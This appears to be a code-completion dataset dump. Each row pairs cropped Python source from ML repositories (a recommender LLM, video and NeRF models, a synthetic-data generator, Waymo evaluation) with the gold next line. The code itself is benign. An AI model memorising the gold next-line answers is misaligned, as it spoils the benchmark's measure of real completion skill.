repo_name
stringlengths
7
71
file_path
stringlengths
5
118
context
list
import_statement
stringlengths
45
12.5k
token_num
int64
641
99.4k
cropped_code
stringlengths
44
17k
all_code
stringlengths
43
754k
next_line
stringlengths
2
330
gold_snippet_index
int64
0
68
created_at
stringlengths
25
25
level
stringclasses
9 values
zyang1580/CoLLM
minigpt4/models/rec_model.py
[ { "identifier": "download_cached_file", "path": "minigpt4/common/dist_utils.py", "snippet": "def download_cached_file(url, check_hash=True, progress=False):\n \"\"\"\n Download a file from a URL and cache it locally. If the file already exists, it is not downloaded again.\n If distributed, only...
import contextlib import logging import os import time import datetime import torch import torch.nn as nn import torch.distributed as dist import torch.nn.functional as F import minigpt4.common.dist_utils as dist_utils import warnings from minigpt4.common.dist_utils import download_cached_file from minigpt4.common.utils import is_url from minigpt4.common.logger import MetricLogger from minigpt4.models.base_model import BaseModel from transformers import BertTokenizer from minigpt4.models.rec_base_models import MatrixFactorization, MF_linear,LightGCN, SASRec, Personlized_Prompt, random_mf, Soft_Prompt, RecEncoder_DIN
10,679
class Rec2Base(BaseModel): @classmethod def to_be_trained(self): pass def init_tokenizer(cls): tokenizer = BertTokenizer.from_pretrained("bert-base-uncased") tokenizer.add_special_tokens({"bos_token": "[DEC]"}) return tokenizer def maybe_autocast(self, dtype=torch.float16): # if on cpu, don't use autocast # if on gpu, use autocast with dtype if provided, otherwise use torch.float16 enable_autocast = self.device != torch.device("cpu") if enable_autocast: return torch.cuda.amp.autocast(dtype=dtype) else: return contextlib.nullcontext() # @classmethod # def init_Qformer(cls, num_query_token, vision_width, cross_attention_freq=2): # encoder_config = BertConfig.from_pretrained("bert-base-uncased") # encoder_config.encoder_width = vision_width # # insert cross-attention layer every other block # encoder_config.add_cross_attention = True # encoder_config.cross_attention_freq = cross_attention_freq # encoder_config.query_length = num_query_token # Qformer = BertLMHeadModel(config=encoder_config) # query_tokens = nn.Parameter( # torch.zeros(1, num_query_token, encoder_config.hidden_size) # ) # query_tokens.data.normal_(mean=0.0, std=encoder_config.initializer_range) # return Qformer, query_tokens @classmethod def init_rec_encoder(self,rec_model, config, precision): if rec_model == "MF": print("### rec_encoder:", "MF") rec_model = MatrixFactorization(config) elif rec_model == "lightgcn": print("### rec_encoder:", "lightgcn") rec_model = LightGCN(config) elif rec_model == "sasrec": print("### rec_encoder:", "sasrec") rec_model = SASRec(config) elif rec_model == "DIN": print("### rec_encoder:", "DIN") rec_model = RecEncoder_DIN(config) elif rec_model == "personlized_prompt": print("### rec_encoder:", "personlized_prompt") rec_model = Personlized_Prompt(config) elif rec_model == "random_mf": print("### rec_encoder:", "random_mf") rec_model = random_mf(config) elif rec_model == 'soft_prompt': print("### rec_encoder:", "soft_prompt") rec_model = Soft_Prompt(config) else: rec_model = None warnings.warn(" the input rec_model is not MF, LightGCN or sasrec, or DCN, we won't utilize the rec_encoder directly.") # raise NotImplementedError("the current version olny supports the following models: MF,...") return rec_model # @classmethod # def init_vision_encoder( # cls, model_name, img_size, drop_path_rate, use_grad_checkpoint, precision # ): # assert model_name == "eva_clip_g", "vit model must be eva_clip_g for current version of MiniGPT-4" # visual_encoder = create_eva_vit_g( # img_size, drop_path_rate, use_grad_checkpoint, precision # ) # ln_vision = LayerNorm(visual_encoder.num_features) # return visual_encoder, ln_vision def load_from_pretrained(self, url_or_filename): if is_url(url_or_filename): cached_file = download_cached_file( url_or_filename, check_hash=False, progress=True ) checkpoint = torch.load(cached_file, map_location="cpu") elif os.path.isfile(url_or_filename): checkpoint = torch.load(url_or_filename, map_location="cpu") else: raise RuntimeError("checkpoint url or path is invalid") state_dict = checkpoint["model"] msg = self.load_state_dict(state_dict, strict=False) # logging.info("Missing keys {}".format(msg.missing_keys)) logging.info("load checkpoint from %s" % url_or_filename) return msg def after_evaluation(self, **kwargs): pass def disabled_train(self, mode=True): """Overwrite model.train with this function to make sure train/eval mode does not change anymore.""" return self class LayerNorm(nn.LayerNorm): """Subclass torch's LayerNorm to handle fp16.""" def forward(self, x: torch.Tensor): orig_type = x.dtype ret = super().forward(x.type(torch.float32)) return ret.type(orig_type) def compute_sim_matrix(model, data_loader, **kwargs): k_test = kwargs.pop("k_test")
""" Copyright (c) 2023, salesforce.com, inc. All rights reserved. SPDX-License-Identifier: BSD-3-Clause For full license text, see the LICENSE_Lavis file in the repo root or https://opensource.org/licenses/BSD-3-Clause """ # from minigpt4.models.Qformer import BertConfig, BertLMHeadModel # from minigpt4.models.eva_vit import create_eva_vit_g class Rec2Base(BaseModel): @classmethod def to_be_trained(self): pass def init_tokenizer(cls): tokenizer = BertTokenizer.from_pretrained("bert-base-uncased") tokenizer.add_special_tokens({"bos_token": "[DEC]"}) return tokenizer def maybe_autocast(self, dtype=torch.float16): # if on cpu, don't use autocast # if on gpu, use autocast with dtype if provided, otherwise use torch.float16 enable_autocast = self.device != torch.device("cpu") if enable_autocast: return torch.cuda.amp.autocast(dtype=dtype) else: return contextlib.nullcontext() # @classmethod # def init_Qformer(cls, num_query_token, vision_width, cross_attention_freq=2): # encoder_config = BertConfig.from_pretrained("bert-base-uncased") # encoder_config.encoder_width = vision_width # # insert cross-attention layer every other block # encoder_config.add_cross_attention = True # encoder_config.cross_attention_freq = cross_attention_freq # encoder_config.query_length = num_query_token # Qformer = BertLMHeadModel(config=encoder_config) # query_tokens = nn.Parameter( # torch.zeros(1, num_query_token, encoder_config.hidden_size) # ) # query_tokens.data.normal_(mean=0.0, std=encoder_config.initializer_range) # return Qformer, query_tokens @classmethod def init_rec_encoder(self,rec_model, config, precision): if rec_model == "MF": print("### rec_encoder:", "MF") rec_model = MatrixFactorization(config) elif rec_model == "lightgcn": print("### rec_encoder:", "lightgcn") rec_model = LightGCN(config) elif rec_model == "sasrec": print("### rec_encoder:", "sasrec") rec_model = SASRec(config) elif rec_model == "DIN": print("### rec_encoder:", "DIN") rec_model = RecEncoder_DIN(config) elif rec_model == "personlized_prompt": print("### rec_encoder:", "personlized_prompt") rec_model = Personlized_Prompt(config) elif rec_model == "random_mf": print("### rec_encoder:", "random_mf") rec_model = random_mf(config) elif rec_model == 'soft_prompt': print("### rec_encoder:", "soft_prompt") rec_model = Soft_Prompt(config) else: rec_model = None warnings.warn(" the input rec_model is not MF, LightGCN or sasrec, or DCN, we won't utilize the rec_encoder directly.") # raise NotImplementedError("the current version olny supports the following models: MF,...") return rec_model # @classmethod # def init_vision_encoder( # cls, model_name, img_size, drop_path_rate, use_grad_checkpoint, precision # ): # assert model_name == "eva_clip_g", "vit model must be eva_clip_g for current version of MiniGPT-4" # visual_encoder = create_eva_vit_g( # img_size, drop_path_rate, use_grad_checkpoint, precision # ) # ln_vision = LayerNorm(visual_encoder.num_features) # return visual_encoder, ln_vision def load_from_pretrained(self, url_or_filename): if is_url(url_or_filename): cached_file = download_cached_file( url_or_filename, check_hash=False, progress=True ) checkpoint = torch.load(cached_file, map_location="cpu") elif os.path.isfile(url_or_filename): checkpoint = torch.load(url_or_filename, map_location="cpu") else: raise RuntimeError("checkpoint url or path is invalid") state_dict = checkpoint["model"] msg = self.load_state_dict(state_dict, strict=False) # logging.info("Missing keys {}".format(msg.missing_keys)) logging.info("load checkpoint from %s" % url_or_filename) return msg def after_evaluation(self, **kwargs): pass def disabled_train(self, mode=True): """Overwrite model.train with this function to make sure train/eval mode does not change anymore.""" return self class LayerNorm(nn.LayerNorm): """Subclass torch's LayerNorm to handle fp16.""" def forward(self, x: torch.Tensor): orig_type = x.dtype ret = super().forward(x.type(torch.float32)) return ret.type(orig_type) def compute_sim_matrix(model, data_loader, **kwargs): k_test = kwargs.pop("k_test")
metric_logger = MetricLogger(delimiter=" ")
2
2023-10-29 12:47:25+00:00
12k
KHU-VLL/CAST
dataset/datasets.py
[ { "identifier": "TubeMaskingGenerator", "path": "util_tools/masking_generator.py", "snippet": "class TubeMaskingGenerator:\n def __init__(self, input_size, mask_ratio):\n self.frames, self.height, self.width = input_size\n self.num_patches_per_frame = self.height * self.width\n ...
import os from torchvision import transforms from util_tools.transforms import * from util_tools.masking_generator import TubeMaskingGenerator from .kinetics import VideoClsDataset, VideoMAE from .ssv2 import SSVideoClsDataset from .epic import EpicVideoClsDataset
10,367
class DataAugmentationForVideoMAE(object): def __init__(self, args): self.input_mean = [0.485, 0.456, 0.406] # IMAGENET_DEFAULT_MEAN self.input_std = [0.229, 0.224, 0.225] # IMAGENET_DEFAULT_STD normalize = GroupNormalize(self.input_mean, self.input_std) self.train_augmentation = GroupMultiScaleCrop(args.input_size, [1, .875, .75, .66]) self.transform = transforms.Compose([ self.train_augmentation, Stack(roll=False), ToTorchFormatTensor(div=True), normalize, ]) if args.mask_type == 'tube':
class DataAugmentationForVideoMAE(object): def __init__(self, args): self.input_mean = [0.485, 0.456, 0.406] # IMAGENET_DEFAULT_MEAN self.input_std = [0.229, 0.224, 0.225] # IMAGENET_DEFAULT_STD normalize = GroupNormalize(self.input_mean, self.input_std) self.train_augmentation = GroupMultiScaleCrop(args.input_size, [1, .875, .75, .66]) self.transform = transforms.Compose([ self.train_augmentation, Stack(roll=False), ToTorchFormatTensor(div=True), normalize, ]) if args.mask_type == 'tube':
self.masked_position_generator = TubeMaskingGenerator(
0
2023-10-25 07:07:05+00:00
12k
Agricultural-Robotics-Bonn/pagnerf
pc_nerf/clustering_nef.py
[ { "identifier": "ClusteringBase", "path": "utils/clustering/clustering_base.py", "snippet": "class ClusteringBase(nn.Module):\n \"\"\"Contrastive NeF with clustering interfaces on top of the semi-sup\n embedding optput\n \"\"\"\n def __init__(self,\n \n num_clusters ...
import torch from wisp.models.nefs.base_nef import BaseNeuralField from utils.clustering.clustering_base import ClusteringBase from .panoptic_nef import PanopticNeF from .panoptic_dd_nef import PanopticDDensityNeF from .panoptic_delta_nef import PanopticDeltaNeF from utils.clustering.mean_shift import MeanShift
10,163
class ClusteringNeF(BaseNeuralField): """Contrastive NeF with clustering interfaces on top of the semi-sup embedding optput """ def __init__(self, cluster_class : ClusteringBase = None, embedding_channel : str = 'embedding', **kwargs): self.clustering_obj = cluster_class(**kwargs) assert embedding_channel in self.get_supported_channels(),\ f'"{embedding_channel}" Channel not supported for custering, '\ f'supported channels by NeF are: {self.get_supported_channels()}' self.embedding_channel = embedding_channel def get_nef_type(self): return f'clustering_{super().get_nef_type()}' def register_forward_functions(self): ''' Wrap NeF's forward function to add clustering on top ''' super().register_forward_functions() self.nef_forward, supported_channels = list(self._forward_functions.items())[0] self._forward_functions = {} supported_channels.add('clusters') self._register_forward_function(self.cluster_nef, supported_channels) def train_clustering(self, X=None, labels=None): self.clustering_obj.train_clustering(X, labels) def predict_clusters(self, X=None): return self.clustering_obj.predict_clusters(X) def cluster_nef(self, coords, ray_d, compute_channels, pidx=None, lod_idx=None, **kwargs): '''Wrap forward pass and add clusters modality to NeF ''' if isinstance(compute_channels, str): compute_channels = [compute_channels] if 'clusters' in compute_channels: if isinstance(compute_channels, set): compute_channels.add(self.embedding_channel) else: compute_channels.append(self.embedding_channel) # Run NeF foward pass outputs = self.nef_forward(coords, ray_d, compute_channels, pidx, lod_idx, **kwargs) if 'clusters' in compute_channels: outputs['clusters'] = outputs[self.embedding_channel] return outputs # Panotic Contrastive NeF wrappers ############################################################################ # Mean Shift clustering NeFs class MeanShiftPanopticNeF(ClusteringNeF, PanopticNeF): def __init__(self, *args, **kwargs): PanopticNeF.__init__(self, *args, **kwargs) ClusteringNeF.__init__(self, *args, cluster_class = MeanShift, embedding_channel = 'inst_embedding', **kwargs) def get_nef_type(self): return 'mean_shift_panoptic_nef'
class ClusteringNeF(BaseNeuralField): """Contrastive NeF with clustering interfaces on top of the semi-sup embedding optput """ def __init__(self, cluster_class : ClusteringBase = None, embedding_channel : str = 'embedding', **kwargs): self.clustering_obj = cluster_class(**kwargs) assert embedding_channel in self.get_supported_channels(),\ f'"{embedding_channel}" Channel not supported for custering, '\ f'supported channels by NeF are: {self.get_supported_channels()}' self.embedding_channel = embedding_channel def get_nef_type(self): return f'clustering_{super().get_nef_type()}' def register_forward_functions(self): ''' Wrap NeF's forward function to add clustering on top ''' super().register_forward_functions() self.nef_forward, supported_channels = list(self._forward_functions.items())[0] self._forward_functions = {} supported_channels.add('clusters') self._register_forward_function(self.cluster_nef, supported_channels) def train_clustering(self, X=None, labels=None): self.clustering_obj.train_clustering(X, labels) def predict_clusters(self, X=None): return self.clustering_obj.predict_clusters(X) def cluster_nef(self, coords, ray_d, compute_channels, pidx=None, lod_idx=None, **kwargs): '''Wrap forward pass and add clusters modality to NeF ''' if isinstance(compute_channels, str): compute_channels = [compute_channels] if 'clusters' in compute_channels: if isinstance(compute_channels, set): compute_channels.add(self.embedding_channel) else: compute_channels.append(self.embedding_channel) # Run NeF foward pass outputs = self.nef_forward(coords, ray_d, compute_channels, pidx, lod_idx, **kwargs) if 'clusters' in compute_channels: outputs['clusters'] = outputs[self.embedding_channel] return outputs # Panotic Contrastive NeF wrappers ############################################################################ # Mean Shift clustering NeFs class MeanShiftPanopticNeF(ClusteringNeF, PanopticNeF): def __init__(self, *args, **kwargs): PanopticNeF.__init__(self, *args, **kwargs) ClusteringNeF.__init__(self, *args, cluster_class = MeanShift, embedding_channel = 'inst_embedding', **kwargs) def get_nef_type(self): return 'mean_shift_panoptic_nef'
class MeanShiftPanopticDDensityNeF(ClusteringNeF, PanopticDDensityNeF):
2
2023-10-30 16:14:39+00:00
12k
thoddnn/open-datagen
opendatagen/data_generator.py
[ { "identifier": "dict_to_string", "path": "opendatagen/utils.py", "snippet": "def dict_to_string(d):\n result = []\n for key, value in d.items():\n result.append(f'#{key}#:\\n\"\"\"')\n result.append(f'{value}')\n result.append('\"\"\"')\n return '\\n'.join(result)" }, ...
from dotenv import load_dotenv from urllib.parse import quote from re import findall from typing import Dict, List, Union from opendatagen.utils import dict_to_string, load_file, write_to_csv, generate_context_from_json, extract_website_details, create_type_message, find_strings_in_brackets from opendatagen.utils import snake_case_to_title_case, title_case_to_snake_case from opendatagen.utils import extract_content_from_internet, clean_string from opendatagen.anonymizer import Anonymizer from opendatagen.model import OpenAIChatModel, OpenAIInstructModel, OpenAIEmbeddingModel, ModelName, MistralChatModel, LlamaCPPModel from opendatagen.template import Template, Variable, Variations, create_variable_from_name from opendatagen.utils import function_to_call from mistralai.client import MistralClient from mistralai.models.chat_completion import ChatMessage import numpy as np import time import random import re import json import requests import uuid
7,257
if last_values_list: last_values = "You must generate a content value that is not similar to following values:\n'''" + "\n".join(last_values_list) + "\n'''" else: last_values = "" variations[variation_id] = new_value return variations def generate_evol_instruct_prompt(self, initial_prompt:str): evol_prompt_template = load_file(path="files/evol_instruct.txt") evol_instruct_prompt = evol_prompt_template.format(number_of_prompts=str(self.template.prompt_variation_number), prompt=initial_prompt) start_messages = [ {"role": "system", "content": "Answer as a valid JSON like {\"prompts\": [\"XXXX\", \"YYYY\"]}"}, {"role": "user", "content": evol_instruct_prompt}, ] evol_instruct_model = OpenAIChatModel(model_name=ModelName.GPT_35_TURBO_CHAT.value) diversified_prompt_list = evol_instruct_model.ask(max_tokens=512, temperature=1, messages=start_messages, json_mode=True) evol_instruct_generated_prompt_list = json.loads(diversified_prompt_list)["prompts"] return evol_instruct_generated_prompt_list def get_completion_error_message(self, params:Dict[str, Variable]): error_str = "" for id, param in params.items(): if param.error_message: error_str = f"{error_str}\n{param.error_message}" return error_str.strip() def get_prompt_error_message(self, params:dict): error_str = "" for param in params: error_message = self.template.variables[param].error_message if error_message: error_str = f"{error_str}\n{error_message}" return error_str def generate_data(self, output_path): # Extracting structures and variables from the template prompt = self.template.prompt prompt_variables = self.extract_variable_from_string(prompt) prompt_fixed_variables = self.extract_variable_dict_from_string(text=self.template.prompt) completion = self.template.completion completion_variables = self.extract_variable_from_string(completion) completion_fixed_variables = self.extract_variable_dict_from_string(text=self.template.completion) save_as_csv = True result = [] if len(prompt_variables) > 0: # Start the recursive generation process with an empty dictionary for current variations prompts_parameters = self.contextual_generation(prompt_text=prompt, variables=prompt_variables, current_variation_dict={}, fixed_variables=prompt_fixed_variables) for p_param in prompts_parameters: prompt_param = {} for variable_id_string, prompt_variation in p_param.items(): if prompt_variation.id: parent_id = prompt_variation.parent_id prompt_param[variable_id_string] = prompt_variation.value prompt_param[f"error_message_{variable_id_string}"] = prompt_variation.error_message prompt_param[f"confidence_{variable_id_string}"] = str(prompt_variation.confidence_score) initial_prompt = prompt.format(**prompt_param) prompt_list = [initial_prompt] if self.template.prompt_variation_number > 0: prompt_list = self.generate_evol_instruct_prompt(initial_prompt=initial_prompt) for prompt_text in prompt_list[:max(self.template.prompt_variation_number,1)]: completion_parameters = self.contextual_generation(prompt_text=prompt_text, completion=completion, variables=completion_variables, current_variation_dict={}, fixed_variables=completion_fixed_variables, parent_id=parent_id) for c_param in completion_parameters: completion_param = {} for variable_id_string, variation in c_param.items(): completion_param[variable_id_string] = variation.value completion_param[f"error_message_{variable_id_string}"] = variation.error_message completion_param[f"confidence_{variable_id_string}"] = str(variation.confidence_score) completion_result = completion.format(**completion_param) if save_as_csv: row = {"prompt": initial_prompt, "evol_prompt": prompt_text, "completion": completion_result} row.update(prompt_param) row.update(completion_param) result.append(row)
load_dotenv() class DataGenerator: output_array = [] def __init__(self, template:Template): self.template = template def extract_variable_from_string(self, text:str): return findall(r'\{(.*?)\}', text) def extract_variable_dict_from_string(self, text:str): list_of_variables = findall(r'\{(.*?)\}', text) result = {} for variable_id, variable in self.template.variables.items(): if variable_id in list_of_variables: result[variable_id] = variable return result def anonymize_text(self, text_to_anonymize): # Example usage: anonymizer = Anonymizer() anonymized_text = anonymizer.anonymize(text_to_anonymize) return anonymized_text def contextual_generation(self, prompt_text:str, variables:list, current_variation_dict:dict, fixed_variables: Dict[str, Variable], completion:str=None, parent_id:str=None): # This will be the list to collect all dictionaries result = [] if not variables: # No more variables to process, generate final variation return [current_variation_dict.copy()] # Get the next variable next_var = variables[0] remaining_variables = variables[1:] if completion: formatted_template = completion.format(**{var: current_variation_dict.get(var, f'{{{var}}}').value if hasattr(current_variation_dict.get(var, f'{{{var}}}'), 'value') else current_variation_dict.get(var, f'{{{var}}}') for var in re.findall(r'\{(.*?)\}', completion)}) current_completion = formatted_template.split(f'{{{next_var}}}')[0] + f'{{{next_var}}}' current_prompt = prompt_text else: formatted_template = prompt_text.format(**{var: current_variation_dict.get(var, f'{{{var}}}').value if hasattr(current_variation_dict.get(var, f'{{{var}}}'), 'value') else current_variation_dict.get(var, f'{{{var}}}') for var in re.findall(r'\{(.*?)\}', prompt_text)}) current_prompt = formatted_template.split(f'{{{next_var}}}')[0] + f'{{{next_var}}}' current_completion = None variable = fixed_variables[next_var] variations = self.generate_variable(prompt_text=current_prompt, completion_text=current_completion, current_variable=variable, variable_id_string=next_var, parent_id=parent_id) for id, variation in variations.items(): # Update the current variations dictionary with the new variation updated_variation_dict = current_variation_dict.copy() updated_variation_dict[next_var] = variation # Recursively process the remaining variables # and extend the all_variation_dicts list with the results result.extend(self.contextual_generation( prompt_text=prompt_text, completion=completion, variables=remaining_variables, current_variation_dict=updated_variation_dict, fixed_variables=fixed_variables, parent_id=id )) # Return the list of all variation dictionaries generated return result def generate_variable(self, prompt_text:str, current_variable:Variable, variable_id_string:str, completion_text:str=None, parent_id:str=None): generation_number = current_variable.generation_number variations = {} if current_variable.get_value_from_localfile: for _ in range(generation_number): generated_value = current_variable.get_value_from_localfile.get_content_from_file() if parent_id: new_id = str(uuid.uuid4()) new_value = Variations(id=new_id, parent_id=parent_id, value=generated_value) current_variable.values[new_id] = new_value self.template.variables[new_id] variations[new_id] = new_value self.template.variables[variable_id_string].values[new_id] = new_value else: id_loop = str(uuid.uuid4()) new_value = Variations(id=id_loop, parent_id=id_loop, value=generated_value) current_variable.values[id_loop] = new_value variations[id_loop] = new_value self.template.variables[variable_id_string].values[id_loop] = new_value return variations if current_variable.get_value_from_huggingface: for _ in range(generation_number): generated_value = current_variable.get_value_from_huggingface.get_random_value_from_dataset() if parent_id: new_id = str(uuid.uuid4()) new_value = Variations(id=new_id, parent_id=parent_id, value=generated_value) current_variable.values[new_id] = new_value self.template.variables[new_id] variations[new_id] = new_value self.template.variables[variable_id_string].values[new_id] = new_value else: id_loop = str(uuid.uuid4()) new_value = Variations(id=id_loop, parent_id=id_loop, value=generated_value) current_variable.values[id_loop] = new_value variations[id_loop] = new_value self.template.variables[variable_id_string].values[id_loop] = new_value return variations if completion_text: initial_variation_prompt = load_file(path="files/completion.txt") else: initial_variation_prompt = load_file(path="files/generation.txt") temp_variation_prompt = initial_variation_prompt name = current_variable.name if current_variable.note: note = random.choice(current_variable.note) else: note = "" rag_content = "" if current_variable.source_localfile: current_variable.load_local_file() elif current_variable.source_localdirectory: current_variable.load_local_directory() elif current_variable.source_internet: current_variable.load_internet_source() elif current_variable.source_huggingface: current_variable.load_huggingface_dataset() if current_variable.rag_content: rag_content = f"Here are some examples that might help you:\n\n{current_variable.rag_content}" last_values_list = [] last_values = "" for _ in range(generation_number): current_model = random.choice(current_variable.models).get_model() if isinstance(current_model, OpenAIInstructModel) or isinstance(current_model, LlamaCPPModel): if current_model.start_with: start_with = random.choice(current_model.start_with) else: start_with = "" else: start_with = "" if current_variable.source_localfile: current_variable.load_local_file() elif current_variable.source_localdirectory: current_variable.load_local_directory() elif current_variable.source_internet: current_variable.load_internet_source() elif current_variable.source_huggingface: current_variable.load_huggingface_dataset() if current_variable.rag_content: rag_content = f"Here are some examples that might help you:\n\n{current_variable.rag_content}" variation_id = str(uuid.uuid4()) if completion_text: temp_variation_prompt = initial_variation_prompt.format(prompt=prompt_text, variable_name=name, completion_type="", completion=completion_text, start_with=start_with, last_values=last_values, rag_content=rag_content, note=note) else: temp_variation_prompt = initial_variation_prompt.format( variable_name=variable_id_string, rag_content=rag_content, start_with=start_with, last_values=last_values, note=note, context=prompt_text) temp_variation_prompt = clean_string(temp_variation_prompt) if isinstance(current_model, OpenAIInstructModel) or isinstance(current_model, LlamaCPPModel): start_messages = temp_variation_prompt elif isinstance(current_model, OpenAIChatModel): start_messages = [ {"role": "system", "content": current_model.system_prompt}, {"role": "user", "content": temp_variation_prompt}, ] elif isinstance(current_model, MistralChatModel): start_messages = [ChatMessage(role="user", content=temp_variation_prompt)] else: raise ValueError("Unknow type of model") if current_variable.validator: count = 1 while True: if count > current_variable.validator.retry_number: new_value = Variations(id=variation_id, parent_id=parent_id, value=generated_value, error_message=new_message, confidence_score=current_confidence_score) current_variable.values[variation_id] = new_value break generated_value = current_model.ask(messages=start_messages) if isinstance(current_model, OpenAIChatModel): current_confidence_score = current_model.confidence_scores else: current_confidence_score = {} self.template.variables[variable_id_string].values[parent_id] = Variations(id=variation_id, parent_id=parent_id, value=generated_value, confidence_score=current_confidence_score) function_name = current_variable.validator.function_name from_notebook = current_variable.validator.from_notebook additional_parameters = current_variable.validator.additional_parameters param_dict = {} for param in additional_parameters: param_dict[param] = self.template.variables[param].values[parent_id] isValid, new_message = function_to_call(function_name, from_notebook, param_dict) if isValid: new_value = Variations(id=variation_id, parent_id=parent_id, value=generated_value) current_variable.values[variation_id] = new_value break else: if isinstance(current_model, OpenAIInstructModel) or isinstance(current_model, LlamaCPPModel): start_messages = f"{start_messages}\n\nAssistant:{generated_value}\n\nUser:{new_message}" elif isinstance(current_model, OpenAIChatModel): start_messages.append({"role": "assistant", "content": generated_value}) start_messages.append({"role": "user", "content": new_message}) elif isinstance(current_model, MistralChatModel): start_messages.append(ChatMessage(role="assistant", content=generated_value)) start_messages.append(ChatMessage(role="user", content=new_message)) else: raise ValueError("Unknow type of model") count = count + 1 else: generated_value = current_model.ask(messages=start_messages) new_value = Variations(id=variation_id, parent_id=parent_id, value=generated_value, confidence_score=current_model.confidence_score) current_variable.values[variation_id] = new_value last_values_list.append(generated_value) # Create the desired string format if last_values_list is not empty if last_values_list: last_values = "You must generate a content value that is not similar to following values:\n'''" + "\n".join(last_values_list) + "\n'''" else: last_values = "" variations[variation_id] = new_value return variations def generate_evol_instruct_prompt(self, initial_prompt:str): evol_prompt_template = load_file(path="files/evol_instruct.txt") evol_instruct_prompt = evol_prompt_template.format(number_of_prompts=str(self.template.prompt_variation_number), prompt=initial_prompt) start_messages = [ {"role": "system", "content": "Answer as a valid JSON like {\"prompts\": [\"XXXX\", \"YYYY\"]}"}, {"role": "user", "content": evol_instruct_prompt}, ] evol_instruct_model = OpenAIChatModel(model_name=ModelName.GPT_35_TURBO_CHAT.value) diversified_prompt_list = evol_instruct_model.ask(max_tokens=512, temperature=1, messages=start_messages, json_mode=True) evol_instruct_generated_prompt_list = json.loads(diversified_prompt_list)["prompts"] return evol_instruct_generated_prompt_list def get_completion_error_message(self, params:Dict[str, Variable]): error_str = "" for id, param in params.items(): if param.error_message: error_str = f"{error_str}\n{param.error_message}" return error_str.strip() def get_prompt_error_message(self, params:dict): error_str = "" for param in params: error_message = self.template.variables[param].error_message if error_message: error_str = f"{error_str}\n{error_message}" return error_str def generate_data(self, output_path): # Extracting structures and variables from the template prompt = self.template.prompt prompt_variables = self.extract_variable_from_string(prompt) prompt_fixed_variables = self.extract_variable_dict_from_string(text=self.template.prompt) completion = self.template.completion completion_variables = self.extract_variable_from_string(completion) completion_fixed_variables = self.extract_variable_dict_from_string(text=self.template.completion) save_as_csv = True result = [] if len(prompt_variables) > 0: # Start the recursive generation process with an empty dictionary for current variations prompts_parameters = self.contextual_generation(prompt_text=prompt, variables=prompt_variables, current_variation_dict={}, fixed_variables=prompt_fixed_variables) for p_param in prompts_parameters: prompt_param = {} for variable_id_string, prompt_variation in p_param.items(): if prompt_variation.id: parent_id = prompt_variation.parent_id prompt_param[variable_id_string] = prompt_variation.value prompt_param[f"error_message_{variable_id_string}"] = prompt_variation.error_message prompt_param[f"confidence_{variable_id_string}"] = str(prompt_variation.confidence_score) initial_prompt = prompt.format(**prompt_param) prompt_list = [initial_prompt] if self.template.prompt_variation_number > 0: prompt_list = self.generate_evol_instruct_prompt(initial_prompt=initial_prompt) for prompt_text in prompt_list[:max(self.template.prompt_variation_number,1)]: completion_parameters = self.contextual_generation(prompt_text=prompt_text, completion=completion, variables=completion_variables, current_variation_dict={}, fixed_variables=completion_fixed_variables, parent_id=parent_id) for c_param in completion_parameters: completion_param = {} for variable_id_string, variation in c_param.items(): completion_param[variable_id_string] = variation.value completion_param[f"error_message_{variable_id_string}"] = variation.error_message completion_param[f"confidence_{variable_id_string}"] = str(variation.confidence_score) completion_result = completion.format(**completion_param) if save_as_csv: row = {"prompt": initial_prompt, "evol_prompt": prompt_text, "completion": completion_result} row.update(prompt_param) row.update(completion_param) result.append(row)
write_to_csv(result, output_path)
2
2023-10-27 17:38:37+00:00
12k
zhanggang001/HEDNet
pcdet/datasets/waymo/waymo_dataset.py
[ { "identifier": "roiaware_pool3d_utils", "path": "pcdet/ops/roiaware_pool3d/roiaware_pool3d_utils.py", "snippet": "def points_in_boxes_cpu(points, boxes):\ndef points_in_boxes_gpu(points, boxes):\n def __init__(self, out_size, max_pts_each_voxel=128):\n def forward(self, rois, pts, pts_feature, po...
import os import pickle import copy import numpy as np import torch import multiprocessing import SharedArray import torch.distributed as dist import argparse import yaml from tqdm import tqdm from pathlib import Path from functools import partial from ...ops.roiaware_pool3d import roiaware_pool3d_utils from ...utils import box_utils, common_utils from ..dataset import DatasetTemplate from . import waymo_utils from ..kitti.kitti_object_eval_python import eval as kitti_eval from ..kitti import kitti_utils from .waymo_eval import OpenPCDetWaymoDetectionMetricsEstimator from easydict import EasyDict
7,692
def kitti_eval(eval_det_annos, eval_gt_annos): map_name_to_kitti = { 'Vehicle': 'Car', 'Pedestrian': 'Pedestrian', 'Cyclist': 'Cyclist', 'Sign': 'Sign', 'Car': 'Car' } kitti_utils.transform_annotations_to_kitti_format(eval_det_annos, map_name_to_kitti=map_name_to_kitti) kitti_utils.transform_annotations_to_kitti_format( eval_gt_annos, map_name_to_kitti=map_name_to_kitti, info_with_fakelidar=self.dataset_cfg.get('INFO_WITH_FAKELIDAR', False) ) kitti_class_names = [map_name_to_kitti[x] for x in class_names] ap_result_str, ap_dict = kitti_eval.get_official_eval_result( gt_annos=eval_gt_annos, dt_annos=eval_det_annos, current_classes=kitti_class_names ) return ap_result_str, ap_dict def waymo_eval(eval_det_annos, eval_gt_annos): eval = OpenPCDetWaymoDetectionMetricsEstimator() ap_dict = eval.waymo_evaluation( eval_det_annos, eval_gt_annos, class_name=class_names, distance_thresh=1000, fake_gt_infos=self.dataset_cfg.get('INFO_WITH_FAKELIDAR', False) ) ap_result_str = '\n' overall_result = {} for idx, key in enumerate(ap_dict): level_metric = key.split('_')[5] # '1/AP', '2/AP', '1/APH', '2/APH' key_overall = "LEVEL_" + level_metric + '_Overall' if key_overall in overall_result.keys(): overall_result[key_overall]["value"] = overall_result[key_overall]["value"] + ap_dict[key][0] overall_result[key_overall]["count"] = overall_result[key_overall]["count"] + 1 else: overall_result[key_overall] = {} overall_result[key_overall]["value"] = ap_dict[key][0] overall_result[key_overall]["count"] = 1 ap_dict[key] = ap_dict[key][0] ap_result_str += '%s: %.4f \n' % (key, ap_dict[key]) for key in overall_result: ap_dict[key] = overall_result[key]['value'] / overall_result[key]['count'] ap_result_str += '%s: %.4f \n' % (key, ap_dict[key]) return ap_result_str, ap_dict eval_det_annos = copy.deepcopy(det_annos) eval_gt_annos = [copy.deepcopy(info['annos']) for info in self.infos] if kwargs['eval_metric'] == 'kitti': ap_result_str, ap_dict = kitti_eval(eval_det_annos, eval_gt_annos) elif kwargs['eval_metric'] == 'waymo': ap_result_str, ap_dict = waymo_eval(eval_det_annos, eval_gt_annos) else: raise NotImplementedError return ap_result_str, ap_dict def create_groundtruth_database(self, info_path, save_path, used_classes=None, split='train', sampled_interval=10, processed_data_tag=None): 